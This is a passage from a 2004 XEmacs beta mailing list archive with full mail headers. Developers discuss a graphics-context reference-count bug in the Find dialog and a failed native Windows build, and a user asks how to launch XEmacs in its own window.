Q,Kxq+|~kZdSuw`3)>5+_/EcS2MS={U]o-eU!y?G(&'dd~\jX|faymzH|72n4oPxOu8c0M2FroLHaA g%#ZHX\p3dIud>Y'+?-@!Om%Z(D2.Fp<*bS8W2Q'{*"WmzMrRZj%)1=|J#3:[`vYdisIP7:`as5Qku ,M(VrTIClqxpH4Z7,_$?ugTWyMq=DQjGEP*M4*/S{Ym{,uq')-b@i_ECSi;Gq+Z[I=kdtX Date: Fri, 16 Apr 2004 23:36:22 +1000 In-Reply-To: <87r7up4t87.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 15 Apr 2004 16:04:40 +0900") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Stephen" == Stephen J Turnbull writes: Stephen> [...] we don't need coders, we need reviewers. We need both but I'll agree that presently the lack of reviewers is the greatest limitation. With that in mind I'll put my name forward for consideration as someone to review all GUI work, in particular GTK. Malcolm -- Malcolm Purvis Q: Why did the chicken cross the Mobius strip? A: To get to the other... uh... err... From xemacs-beta-admin@xemacs.org Fri Apr 16 17:00:30 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GL08s26479; Fri, 16 Apr 2004 17:00:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GKxej26025 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 16:59:40 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GKxd725998 for turnbull@tux.org; Fri, 16 Apr 2004 16:59:39 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GKxbs25964; Fri, 16 Apr 2004 16:59:37 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3GKxHDu004585; Fri, 16 Apr 2004 15:59:17 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3GKxHHS017567; Fri, 16 Apr 2004 15:59:17 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3GKxGkP017565; Fri, 16 Apr 2004 15:59:16 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: Glynn Clements , XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Fri, 16 Apr 2004 15:59:15 -0500 In-Reply-To: <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 14 Apr 2004 13:11:22 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > Jerry> Executive summary: The "Forward" button created by > Jerry> make-search-dialog (line 87 of lisp/dialog-items.el in > Jerry> current 21.5 CVS) feels like releasing its inverse_GC every > Jerry> time it is redisplayed. Once it has been redisplayed a > Jerry> sufficient number of times, the reference count on that GC > Jerry> reaches zero and chaos ensues. I am willing to bet > Jerry> doughnuts that the comment over x_button_redisplay in > Jerry> src/glyphs-x.c has something to do with it. However, I do > Jerry> not actually know the source of the problem at this time. > > Oh, I bet I do. XEmacs does its own GC caching because faces use lots > of GCs. Xt is obviously also doing GC caching internally, so every > time the state of the button changes, the Xt decrements its cache > refcount for the GC that gets swapped out. XEmacs doesn't account for > this, and so it does a simple assignment from its cache, which Xt > can't see, rather than asking Xt for it. So Xt doesn't increment its > refcount when XEmacs uses the GC. As far as I can see, the lwlib code does not use the internal GC caching. It appears to be used by redisplay-x.c only: - In x_bevel_area, it is used to manage top shadows, bottom shadows, and background GCs - In x_get_gc, to find a GC matching some characteristics. - In x_output_x_pixmap for purposes I don't understand. - In x_output_vertical_divider to find a background GC. - In x_flash, to swap foreground/background temporarily. None of those functions appear in any of the backtraces I gathered. > Why does this only cause problems for that dialog? I'm glad you > asked. The reason is that lwlib doesn't know about faces, mostly. So > the cache maintained by XEmacs's src/xgccache.c (maintained with > XCreateGC and XFreeGC) and used for faces doesn't intersect with Xt's > cache (maintained with XtGetGC and XtReleaseGC), used by lwlib's > Athena stuff. > > I'm willing to bet that we're calling XtReleaseGC on some face's > cached GC. I'm pretty busy the next few days though, so I'll post > this guess for now. That seems like a plausible guess, but it also doesn't seem to match the information I've gathered so far. Upon combing through the GDB output some more, I have discovered several facts: 1) There are 7 widgets on the Find dialog. One is a text field. Two are the checkboxes "Match Case" and "Regular Expression". The other 4 are the buttons "Forwards", "Backwards", "Find Next", and "Cancel". 2) There are 3 GCs that are shared by the 2 checkboxes and 4 buttons. When the Find dialog is first created, all of them have reference count 6, as expected. 3) Only the "Forwards" and "Find Next" buttons do any GC manipulations after the dialog is created. (I did not push any button other than "Find Next" during my tests.) "Forwards" does such manipulations on each redisplay; "Find Next" does them only when pushed. 4) The "Forwards" button is first redisplayed immediately after the Find dialog is created, before any buttons can be pushed. On each redisplay, "Forwards" does this (with the GCs mentioned above arbitrarily numbered 1, 2, and 3, and with a new one, 4, created during the first redisplay.) GC 1 2 3 4 ------- ------- ------- ------- a) Release b) Release c) Allocate d) Allocate e) Release f) Release g) Allocate h) Allocate i) Release j) Release k) Allocate l) Allocate m) Release n) Release o) Allocate p) Allocate q) Release r) Release s) Allocate t) Allocate u) Release v) Release w) Allocate x) Allocate So on every redisplay, the reference count on 1 goes down by 2, the reference counts on 2 and 3 stay the same, and the reference count on 4 goes up by 1. It looks to me like step "i" ought to be a release of 4 AND an allocate of 1 to keep things even. This is redisplay, after all, and I haven't touched the button, so its appearance should not be changing. 5) The "Find Next" button does its manipulations as it is pushed, in order to reverse its colors as it is pushed down, then restore them when it comes back up. It does this to the GCs numbered above, plus two new ones, 5 and 6, created while doing the pushing: GC 1 2 3 4 5 6 ------- ------- ------- ------- ------- ------- a) Release b) Release c) Allocate d) Allocate e) Release f) Allocate g) Allocate h) Release i) Release j) Release k) Allocate l) Allocate m) Release n) Allocate o) Allocate p) Release So on every push of "Find Next", the final GC refcounts are as they were before the push. What is different about the "Forwards" button that makes it behave like this, when all the other widgets seem to be behaving nicely? "One of these things is not like the others ..." > Jerry> Jerry "Brute Force" James, currently listening to > Jerry> Supertramp's "Breakfast in America" > > Excellent! Nearly guarantees success, I should say. :-) Well, now I'm listening to Al Stewart's "Year of the Cat". What does *that* do to my chances, hey? -- Jerry James, who thinks Mr. Stewart's instruments sound great, but wishes that somebody who could sing, rather than talk, had recorded the song From xemacs-beta-admin@xemacs.org Fri Apr 16 17:13:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GLD1s02956; Fri, 16 Apr 2004 17:13:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GLCil02772 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 17:12:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GLCgt02753 for turnbull@tux.org; Fri, 16 Apr 2004 17:12:42 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GLCes02737 for ; Fri, 16 Apr 2004 17:12:40 -0400 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BEadb-0001Fb-00; Fri, 16 Apr 2004 23:12:39 +0200 Received: from D5DC120J.t-online.de (Sm6CvaZLQeTywK9hqmdEV4wQwcpcrkAiXkEjUOI4AEcB-L03BXlQk4@[217.229.1.247]) by afwd01.sul.t-online.com with esmtp id 1BEadT-0tEM2i0; Fri, 16 Apr 2004 23:12:31 +0200 To: XEmacs Beta List Subject: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Date: Fri, 16 Apr 2004 23:13:35 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: Sm6CvaZLQeTywK9hqmdEV4wQwcpcrkAiXkEjUOI4AEcB-L03BXlQk4 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3GLCes02737 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , The trunk no longer builds on native Windows. Sven just report what seems to be the same problem on the cygwin platform. Best regards, Adrian > XEmacs Build Report generated by emacs-version > 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid > with system-configuration > i586-pc-win32 > follows: > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\Installation: > (Output from most recent run of ./configure) OS version: Microsoft Windows XP [Version 5.1.2600] OS: Windows_NT XEmacs 21.5-b17 "chayote" (+CVS-20040415) configured for `i586-pc-win32'. Building XEmacs using "NMAKE". Building XEmacs using make flags " ". Building XEmacs in source tree "c:\\Hacking\\cvs.xemacs.org\\XEmacs\\xemacs-21.5". For src, using compiler "cl -nologo -W3 -DSTRICT -Zi -O2 -G5 -Ob2 -MDd -c -I"c:\Hacking\libs4xemacs\xpm-3.4k" -I"c:\Hacking\libs4xemacs\xpm-3.4k\lib" -I"c:\Hacking\libs4xemacs\libpng-1.0.2" -I"c:\Hacking\libs4xemacs\zlib" -I"c:\Hacking\libs4xemacs\tiff-v3.4\libtiff" -I"c:\Hacking\libs4xemacs\jpeg-6b" -I"c:\Hacking\libs4xemacs\compface" -I"c:\Hacking\libs4xemacs\zlib" -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\inc -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src -DHAVE_MS_WINDOWS -DHAVE_XPM -DFOR_MSW -DHAVE_GIF -DHAVE_PNG -DHAVE_TIFF -DHAVE_JPEG -DHAVE_XFACE -DHAVE_ZLIB -DHAVE_MENUBARS -DHAVE_SCROLLBARS -DHAVE_TOOLBARS -DHAVE_WIDGETS -DHAVE_DIALOGS -DHAVE_NATIVE_SOUND -DMULE -DPDUMP -DUSE_KKCC -DSYSTEM_MALLOC -DDEBUG_XEMACS -D_DEBUG -DWIN32_LEAN_AND_MEAN -DWIN32_NATIVE -Demacs -DHAVE_CONFIG_H -DPATH_VERSION=\"21.5-b17\" -DPATH_PROGNAME=\"xemacs\" -DEMACS_VERSION=\"21.5-b17\" -DEMACS_PROGNAME=\"xemacs\" -DSTACK_TRACE_EYE_CATCHER=xemacs_21_5_b17_i586_pc_win32 -DPATH_PREFIX=\"..\" -DEMACS_MAJOR_VERSION=21 -DEMACS_MINOR_VERSION=5 -DEMACS_BETA_VERSION=17 -DXEMACS_CODENAME=\""chayote"\" -DEMACS_CONFIGURATION=\"i586-pc-win32\" -DPATH_PACKAGEPATH=\""~\\.xemacs;;c:\\Program Files\\XEmacs\\site-packages;c:\\Program Files\\XEmacs\\mule-packages;c:\\Program Files\\XEmacs\\xemacs-packages"\"". For lib-src, using compiler "cl -nologo -W3 -DSTRICT -Zi -O2 -G5 -Ob2 -MDd -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lib-src -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src -DHAVE_CONFIG_H -DWIN32_NATIVE". Installing XEmacs in "c:\\Program Files\\XEmacs\\XEmacs-21.5-b17". Package path is "~\\.xemacs;;c:\\Program Files\\XEmacs\\site-packages;c:\\Program Files\\XEmacs\\mule-packages;c:\\Program Files\\XEmacs\\xemacs-packages". Compiling in support for Microsoft Windows native GUI. Compiling in international (MULE) support. Compiling in support for XPM images. Compiling in support for GIF images. Compiling in support for PNG images. Compiling in support for TIFF images. Compiling in support for JPEG images. Compiling in support for X-Face message headers. Compiling in support for GZIP compression/decompression. Compiling in support for toolbars. Compiling in support for dialogs. Compiling in support for widgets. Compiling in support for native sounds. Using portable dumper. Using system malloc. Using DLL version of C runtime library. Compiling in debugging support (no slowdown). Compiling with optimization. Using new experimental GC algorithms. > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\xemacs-21.5-cvs-update.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\ compilation started at Fri Apr 16 22:50:19 2004 +0200 (W. Europe Daylight Time) ? file-error.txt P ChangeLog P Makefile.in.in P version.sh P lib-src/ChangeLog P lib-src/Makefile.in.in U lib-src/insert-data-in-exec.c M lisp/build-report.el M lisp/cus-edit.el M lisp/files.el M lisp/font-lock.el M lisp/package-ui.el M nt/xemacs.mak P src/ChangeLog P src/Makefile.in.in P src/depend U src/dump-data.c U src/dump-data.h P src/dumper.c P src/emacs.c P src/number.c cvs server: Updating tests cvs server: Updating tests/DLL Compilation finished at Fri Apr 16 22:51:23 > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\xemacs-21.5-make-install.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\ nmake /f xemacs.mak install Compilation started at Fri Apr 16 22:57:01 2004 +0200 (W. Europe Daylight Time) WARNING: Compiling without dependency information. Installing XEmacs in "c:\\Program Files\\XEmacs\\XEmacs-21.5-b17". 1 file(s) copied. 1 File(s) copied 1 File(s) copied c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src\emacs.c(832) : warning C4013: 'dumped_data_max_size' undefined; assuming extern returning int c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src\emacs.c(832) : warning C4013: 'dumped_data_align_offset' undefined; assuming extern returning int emacs.obj: error LNK2001: unresolved external symbol _dumped_data_max_size emacs.obj: error LNK2001: unresolved external symbol _dumped_data_align_offset c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src\temacs.exe : fatal error LNK1120: 2 unresolved externals NMAKE: fatal error U1077: 'link.exe' : return code '0x460' Compilation exited abnormally with code 2 at Fri Apr 16 23:03:00 -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Fri Apr 16 20:00:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H004s16386; Fri, 16 Apr 2004 20:00:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GNxFt15840 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 19:59:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GNxEx15814 for turnbull@tux.org; Fri, 16 Apr 2004 19:59:14 -0400 Received: from wiggis.ethz.ch (wiggis.ethz.ch [129.132.86.197]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GNxEs15807 for ; Fri, 16 Apr 2004 19:59:14 -0400 Received: from wiggis1.ethz.ch (wiggis1.ethz.ch [192.168.42.225]) by wiggis.ethz.ch (Postfix) with ESMTP id 9032D340B4 for ; Sat, 17 Apr 2004 01:59:13 +0200 (CEST) Received: from phys.ethz.ch (114.17.77.83.cust.bluewin.ch [83.77.17.114]) by wiggis.ethz.ch (Postfix) with ESMTP id DF1AD340AF for ; Sat, 17 Apr 2004 01:59:12 +0200 (CEST) Message-ID: <40807316.7080009@phys.ethz.ch> Date: Sat, 17 Apr 2004 01:58:14 +0200 From: Prakash Dayal User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040301 X-Accept-Language: en-us, en MIME-Version: 1.0 To: xemacs-beta@xemacs.org Subject: xemacs-21.5.17 with red hat enterprise linux 3.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at phys.ethz.ch X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi, I compiled and installed xemacs-21.5.17 on red hat enterprise linux 3.0 successfully with xemacs-sumo.tar.gz packages, but when I am starting xemacs with command 'xemacs', the xemacs is being started in the same shell in which the command 'xemacs' is invoked. My question is: how can I start xemacs in a seperate GUI (graphical user interface) after executing the command on a shell prompt? Thanks & regards, Prakash. From xemacs-beta-admin@xemacs.org Fri Apr 16 21:01:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H115s24209; Fri, 16 Apr 2004 21:01:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H10Hc23155 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 21:00:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H10D523071 for turnbull@tux.org; Fri, 16 Apr 2004 21:00:13 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H10Bs23016 for ; Fri, 16 Apr 2004 21:00:11 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3H0w8EK022913; Sat, 17 Apr 2004 10:58:08 +1000 Mail-Copies-To: never To: XEmacs beta Cc: Prakash Dayal Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 Keywords: xemacs,shell,command References: <40807316.7080009@phys.ethz.ch> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: Yow! I want my nose in lights! X-X-Day: Only 2431499 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Boomtime, the 34th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta , Prakash Dayal Date: Sat, 17 Apr 2004 10:58:06 +1000 In-Reply-To: <40807316.7080009@phys.ethz.ch> (Prakash Dayal's message of "Sat, 17 Apr 2004 01:58:14 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Prakash Dayal writes: > Hi, > I compiled and installed xemacs-21.5.17 on red hat enterprise linux > 3.0 successfully with xemacs-sumo.tar.gz packages, but when I am > starting xemacs with command 'xemacs', the xemacs is being started in > the same shell in which the command 'xemacs' is invoked. My question > is: how can I start xemacs in a seperate GUI (graphical user > interface) after executing the command on a shell prompt? It sounds to me like your shell isn't seeing the $DISPLAY environment variable. What do you see if you do `echo $DISPLAY RET' in the shell you would use to start XEmacs? -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCAgSAACgkQHSfbS6lLMAOFlQCfdJ1i+PO3bzmpcVx/YubRdUN2 faoAn3fO+OrjVZ2ktOIcomDyKAJJ4PL0 =3EqO -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Sat Apr 17 03:28:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H7S5s04621; Sat, 17 Apr 2004 03:28:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H7Rgm04299 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 03:27:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H7RfA04275 for turnbull@tux.org; Sat, 17 Apr 2004 03:27:41 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H7RZs04193; Sat, 17 Apr 2004 03:27:35 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BEkEe-00006S-00; Sat, 17 Apr 2004 16:27:32 +0900 To: Jerry James Cc: "Stephen J. Turnbull" , Glynn Clements , XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Sat, 17 Apr 2004 16:27:31 +0900 In-Reply-To: (Jerry James's message of "Fri, 16 Apr 2004 15:59:15 -0500") Message-ID: <87smf312u4.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> What is different about the "Forwards" button that makes it Jerry> behave like this, when all the other widgets seem to be Jerry> behaving nicely? "One of these things is not like the Jerry> others ..." I dunno, but I'll take a look. Probably won't help giving my success to date on guessing causes, but "money eyes, swallow bugs" or something like that. Jerry> Jerry "Brute Force" James, currently listening to Jerry> Supertramp's "Breakfast in America" >> Excellent! Nearly guarantees success, I should say. Jerry> :-) Well, now I'm listening to Al Stewart's "Year of the Jerry> Cat". What does *that* do to my chances, hey? Uh, it gives you a really strong chance of me ervising my guess at your age upwards.... Jerry> Jerry James, who thinks Mr. Stewart's instruments sound Jerry> great, but wishes that somebody who could sing, rather than Jerry> talk, had recorded the song But then I guess not old enough to remember Dylan's first single.... -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Sat Apr 17 03:37:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H7b1s12481; Sat, 17 Apr 2004 03:37:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H7aqt12347 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 03:36:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H7apT12327 for turnbull@tux.org; Sat, 17 Apr 2004 03:36:51 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H7aos12314 for ; Sat, 17 Apr 2004 03:36:51 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BEkNZ-00009C-00; Sat, 17 Apr 2004 16:36:45 +0900 To: Adrian Aichner Cc: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Sat, 17 Apr 2004 16:36:45 +0900 In-Reply-To: (Adrian Aichner's message of "Fri, 16 Apr 2004 23:13:35 +0200") Message-ID: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "APA" == Adrian Aichner writes: APA> The trunk no longer builds on native Windows. That would be Olivier's dumpfile-in-executable patch. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Sat Apr 17 05:21:23 2004 Received: from 